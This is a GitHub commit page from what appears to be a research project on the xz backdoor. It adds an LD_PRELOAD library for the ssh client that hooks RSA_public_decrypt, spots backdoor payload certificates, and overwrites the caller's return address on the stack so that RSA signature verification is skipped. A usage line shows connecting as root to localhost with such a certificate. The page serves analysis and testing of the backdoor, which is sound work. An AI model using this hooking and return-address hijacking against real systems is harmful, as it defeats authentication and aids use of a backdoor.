Skip to content

Commit

Permalink
add signature verification patch for ssh (client)
Browse files Browse the repository at this point in the history
the patch can be preloaded with LD_PRELOAD when running ssh
to skip signature verification of backdoor payloads
  • Loading branch information
smx-smx committed Apr 29, 2024
1 parent 00b038b commit 9952df1
Show file tree
Hide file tree
Showing 3 changed files with 121 additions and 1 deletion.
8 changes: 7 additions & 1 deletion CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ project(xzre LANGUAGES C ASM)
set(CMAKE_C_STANDARD 23)
set(CMAKE_BUILD_TYPE Debug)

find_library(UNWIND_LIBRARY NAMES libunwind.so REQUIRED)
find_library(LZMA_LIBRARY NAMES liblzma.a REQUIRED)
find_program(SED_COMMAND NAMES sed REQUIRED)
message(STATUS "Using ${LZMA_LIBRARY}")
Expand Down Expand Up @@ -113,4 +114,9 @@ add_custom_command(
DEPENDS ${CMAKE_SOURCE_DIR}/xzre.h
VERBATIM
)
add_custom_target(gen_xzre_header ALL DEPENDS ${CMAKE_BINARY_DIR}/xzre.h)
add_custom_target(gen_xzre_header ALL DEPENDS ${CMAKE_BINARY_DIR}/xzre.h)


add_library(ssh_patch SHARED ssh_patch.c ssh_patch.S)
target_compile_options(ssh_patch PRIVATE -Wno-deprecated-declarations)
target_link_libraries(ssh_patch crypto dl ${UNWIND_LIBRARY})
17 changes: 17 additions & 0 deletions ssh_patch.S
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
/*
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
.intel_syntax noprefix
.section .note.GNU-stack,"",%progbits

.section .text
.globl hijack_return

hijack_return:
// erase error code returned by openssh_RSA_verify
xor rax, rax

// jump to the original return address
mov rdi, QWORD PTR [rip + orig_ret@GOTPCREL]
jmp [rdi]

97 changes: 97 additions & 0 deletions ssh_patch.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
/**
* @file ssh_patch.c
* @author Stefano Moioli ([email protected])
* @brief Patch for ssh to disable signature verification for backdoor certificate identities
* and allow them to be used as ssh identities (-i flag)
*
* to use: `LD_PRELOAD=$PWD/libssh_patch.so ssh -vvv -i /tmp/backdoor_payload_cert.pub root@localhost -p 2022`
*
*/
#define _GNU_SOURCE
#include <dlfcn.h>
#include <openssl/bn.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <openssl/rsa.h>
#define UNW_LOCAL_ONLY
#include <libunwind.h>

static int (*orig_RSA_public_decrypt)(
int flen, const unsigned char *from, unsigned char *to,
RSA *rsa, int padding
) = NULL;

void __attribute__((constructor)) init(){
orig_RSA_public_decrypt = dlsym(RTLD_NEXT, "RSA_public_decrypt");
if(!orig_RSA_public_decrypt){
fprintf(stderr, "could not find original RSA_public_decrypt\n");
exit(1);
}
}

extern void hijack_return();

uintptr_t orig_ret = 0;

int RSA_public_decrypt(
int flen, const unsigned char *from, unsigned char *to,
RSA *rsa, int padding
){
const BIGNUM *n = NULL;
const BIGNUM *e = NULL;
RSA_get0_key(rsa, &n, &e, NULL);
if(!n || !e) goto orig;

int size = BN_num_bytes(n);
unsigned char *buf = calloc(sizeof(unsigned char), size);
if(!buf) return -1;

if(BN_bn2bin(n, buf) < 0) goto orig;

if(size <= 536 && size >= 16){
uint32_t a, b;
uint64_t c;
a = *(uint32_t *)(buf + 0);
b = *(uint32_t *)(buf + 4);
c = *(uint32_t *)(buf + 8);
uint64_t cmd_type = (a * b) + c;
if(cmd_type > 3) goto orig;

// assume it's the payload for now (signature checking would be better)
printf("[+++++] backdoor payload detected. skipping verification\n");

unw_cursor_t cursor; unw_context_t uc;
unw_word_t ip, sp;
unw_getcontext(&uc);
unw_init_local(&cursor, &uc);

const int steps = 2;
uintptr_t *v_sp[steps], v_ra[steps];

for(int i=0; i<steps && unw_step(&cursor) > 0; i++){
unw_get_reg(&cursor, UNW_REG_IP, &ip);
unw_get_reg(&cursor, UNW_REG_SP, &sp);
printf ("ip = %lx, sp = %lx\n", (long) ip, (long) sp);

// backtrack to get the location of the return address
v_sp[i] = (uintptr_t *)(sp - 8);
v_ra[i] = ip;
}

// save the address where our caller would return to
orig_ret = v_ra[1];

/**
* make `openssh_RSA_verify` (our caller) return to our hijack function,
* which will replace the return value
*/
*v_sp[1] = (uintptr_t)&hijack_return;
free(buf);
return 0;
}

orig:
if(buf) free(buf);
return orig_RSA_public_decrypt(flen, from, to, rsa, padding);
}

0 comments on commit 9952df1

Please sign in to comment.